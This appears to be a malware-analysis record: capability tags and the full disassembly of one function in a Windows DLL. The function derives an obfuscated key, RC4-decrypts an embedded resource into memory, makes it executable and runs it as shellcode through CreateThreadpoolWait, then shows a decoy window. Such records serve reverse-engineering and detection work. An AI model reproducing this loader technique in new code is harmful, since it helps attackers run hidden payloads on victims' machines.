Function at 0x180001810
Capabilities:
Allocate or change rwx memory
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via createthreadpoolwait

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x388], rbx
xor edi, edi
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
lea rdx, [0x18001bed5]
lea rcx, [rbp - 0x80]
call fcn.180002140
nop
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.180002060
nop
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x180001886
call fcn.180005580
mov rbx, qword [rsp + 0x60]
add rbx, 0x20
mov rax, qword [rbx]
mov byte [rax + 1], 0x20
xor ecx, ecx
call fcn.180005690
mov rcx, rax
call fcn.1800056f0
mov edi, 1
or esi, 0xffffffff
mov r12d, 3
mov r13d, r12d
or r14d, esi
mov rax, qword [rsp + 0x60]
lea r15, [rax - 0x20]
add rax, 0x60
mov qword [rbp + 0x278], rax
mov qword [rbp + 0x280], 0x64
call fcn.180005708
and eax, 0x80000003
jge 0x1800018eb
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x180001985
dec eax
je 0x180001961
dec eax
je 0x18000192d
dec eax
jne 0x1800019af
test r14d, r14d
jle 0x1800019af
mov rax, qword [rbx]
mov byte [rax + rdi - 2], 0x20
mov rax, qword [rbx]
mov byte [rax + rdi - 1], 0x20
sub r14d, 2
sub r12d, 2
sub rdi, 2
jmp 0x1800019af
cmp r13d, 9
jge 0x1800019af
mov rcx, qword [rbp + 0x278]
mov rax, qword [rcx]
mov byte [rdi + rax], 0x20
mov rax, qword [rbx + 0x20]
add r13d, 2
add esi, 2
add rcx, 0x40
mov qword [rbp + 0x278], rcx
add r15, 0x40
add rbx, 0x40
jmp 0x1800019ab
cmp r12d, 9
jge 0x1800019af
mov rax, qword [rbx]
mov byte [rax + rdi + 2], 0x20
mov rax, qword [rbx]
mov byte [rax + rdi + 1], 0x20
add r14d, 2
add r12d, 2
add rdi, 2
jmp 0x1800019af
test esi, esi
jle 0x1800019af
mov rax, qword [r15]
mov byte [rdi + rax], 0x20
mov rax, qword [rbx - 0x20]
sub r13d, 2
sub esi, 2
sub qword [rbp + 0x278], 0x40
sub r15, 0x40
sub rbx, 0x40
mov byte [rdi + rax], 0x20
dec qword [rbp + 0x280]
jne 0x1800018d8
lea rcx, [rsp + 0x60]
call fcn.180001280
mov ecx, 0xa0000
call fcn.180002778
mov r14, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, 0x1400000
call fcn.180002778
mov r13, rax
mov dword [rbp + 0x60], 0x4550
mov edi, dword [rbp + 0x60]
add edi, 0x58896578
xor edi, 0x58896578
rol edi, 0x10
add edi, 0x7002bb9
not edi
xor edi, 0x8702258
mov r8d, 0x92b
mov r9d, r8d
nop dword [rax + rax]
mov ecx, edi
xor ecx, 0x800528
xor edx, edx
mov eax, 0x800528
div edi
sub ecx, edx
lea edi, [rdi + rcx + 0x800528]
dec r9
jne 0x180001a20
mov eax, edi
mov ecx, edi
shr rcx, 0x18
shl rax, 8
or ecx, eax
add ecx, 0x25bb96
mov rdi, r8
nop word [rax + rax]
xor edx, edx
mov eax, 0x7022b896
div ecx
mov eax, ecx
xor eax, 0x7022b896
sub eax, edx
lea ecx, [rcx + rax + 0x7022b896]
dec rdi
jne 0x180001a60
nop
xor edx, edx
mov eax, 0x17995258
div ecx
mov eax, ecx
xor eax, 0x17995258
sub eax, edx
lea ecx, [rcx + rax + 0x17995258]
dec r8
jne 0x180001a80
mov eax, ecx
mov byte [rbp - 0x20], al
xor edx, edx
lea r8d, [rdx + 0x7f]
lea rcx, [rbp - 0x1f]
call fcn.180006740
mov ecx, 0x408
call fcn.1800055ec
mov rsi, rax
xor r15d, r15d
mov edx, r15d
mov rax, r13
mov edi, 0x34
nop dword [rax]
test dl, 1
mov ecx, 0x75
cmove ecx, edi
mov byte [rax], cl
inc edx
inc rax
cmp edx, 0x1400000
jl 0x180001ad0
mov edx, 0x189b80
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x20]
repne scasb al, byte [rdi]
not rcx
lea r12, [rcx - 1]
mov qword [rsi], r15
mov edx, r15d
lea rax, [rsi + 8]
nop word [rax + rax]
mov dword [rax], edx
inc edx
add rax, 4
cmp edx, 0x100
jl 0x180001b30
mov r10d, r15d
mov r9d, r15d
mov r11, r15
nop dword [rax]
mov edi, dword [rsi + r11*4 + 8]
mov eax, r10d
cdq
idiv r12d
movsxd rax, edx
movzx ecx, byte [rbp + rax - 0x20]
mov eax, r9d
cdq
idiv r12d
add r9b, dil
add r9b, dl
add r9b, cl
movzx r9d, r9b
mov eax, dword [rsi + r9*4 + 8]
mov dword [rsi + r11*4 + 8], eax
mov dword [rsi + r9*4 + 8], edi
inc r10d
cmp r10d, r12d
cmovge r10d, r15d
inc r11
cmp r11, 0x100
jl 0x180001b50
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
lea rdx, section.RT_DATA
mov rcx, rsi
call fcn.1800013b0
mov edi, 0x5582
nop word [rax + rax]
mov r8d, 0x181e80
lea rdx, [0x18002ed00]
mov rcx, rbx
call fcn.180005af0
dec rdi
jne 0x180001bd0
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
mov rdi, rax
lea r9, [rbp + 0x270]
mov edx, 0x189b80
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
or edx, 0xffffffff
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r14
call fcn.180005588
mov rcx, r13
call fcn.180005588
mov dword [rbp - 0x20], 0x50
mov dword [rbp - 0x1c], 3
lea rax, [0x180001e00]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 6
lea rdi, [0x1800231c0]
mov qword [rbp + 0x20], rdi
lea rcx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [0x180023288], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, [0x180023290]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdi, rax
test rax, rax
je 0x180001da1
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x180001d5f
mov rdi, qword [rbp + 0x270]
nop word [rax + rax]
lea r8, [rbp - 0x60]
mov rdx, rdi
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x180001d49
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x180001d20
mov esi, dword [rbp - 0x50]
mov r12, qword [rsp + 0x60]
mov rdi, r12
mov rbx, qword [rsp + 0x68]
cmp r12, rbx
je 0x180001d95
mov rcx, qword [rdi]
test rcx, rcx
je 0x180001d81
call fcn.180005580
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
add rdi, 0x20
cmp rdi, rbx
jne 0x180001d74
mov rcx, r12
call fcn.180005580
mov eax, esi
jmp 0x180001dde
mov rsi, qword [rsp + 0x60]
mov rdi, rsi
mov rbx, qword [rsp + 0x68]
cmp rsi, rbx
je 0x180001dd4
mov rcx, qword [rdi]
test rcx, rcx
je 0x180001dc0
call fcn.180005580
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
add rdi, 0x20
cmp rdi, rbx
jne 0x180001db3
mov rcx, rsi
call fcn.180005580
xor eax, eax
mov rbx, qword [rsp + 0x388]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret